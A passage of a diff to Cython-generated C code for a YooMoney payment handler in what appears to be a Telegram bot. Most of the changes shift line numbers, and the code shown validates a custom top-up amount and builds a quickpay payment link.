__pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2)) __PYX_ERR(0, 181, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__16) < 0) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_5) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; __pyx_t_4 = 0; @@ -6786,14 +6794,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_5) < 0) __PYX_ERR(0, 183, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_5) < 0) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -6809,20 +6817,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 181, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 183, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 181, __pyx_L1_error) + else __PYX_ERR(0, 183, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 187, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 187, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -6844,7 +6852,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 187, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6859,12 +6867,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 187, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 189, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 187, __pyx_L1_error) + else __PYX_ERR(0, 189, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -6951,7 +6959,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 191, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 193, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -6959,14 +6967,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 191, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 193, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 191, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 193, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 191, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 193, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -6979,7 +6987,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 191, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 193, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7018,7 +7026,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_am if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 191, __pyx_L1_error) + __PYX_ERR(0, 193, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7029,7 +7037,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_am __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4, __pyx_codeobj__17, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4, __pyx_codeobj__11, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7077,11 +7085,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 193, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -7102,29 +7110,29 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 193, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_5) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_5) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -7141,10 +7149,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__18}; + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__12}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7159,12 +7167,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 198, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 196, __pyx_L1_error) + else __PYX_ERR(0, 198, __pyx_L1_error) } } @@ -7174,12 +7182,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 201, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7194,21 +7202,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L7_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 201, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 203, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 201, __pyx_L1_error) + else __PYX_ERR(0, 203, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -7230,7 +7238,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7245,31 +7253,31 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L8_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 204, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 202, __pyx_L1_error) + else __PYX_ERR(0, 204, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = 0; __pyx_t_8 = 127; @@ -7277,7 +7285,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_t_7 += 50; __Pyx_GIVEREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_yoomoney_ru_quickpay_confi); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); @@ -7288,7 +7296,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_t_7 += 33; __Pyx_GIVEREF(__pyx_kp_u_quickpay_form_shop_targets_sum); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_quickpay_form_shop_targets_sum); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); @@ -7300,80 +7308,86 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_t_7 += 49; __Pyx_GIVEREF(__pyx_kp_u_paymentType_PC_comment_label); PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_paymentType_PC_comment_label); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) + __pyx_t_3 = 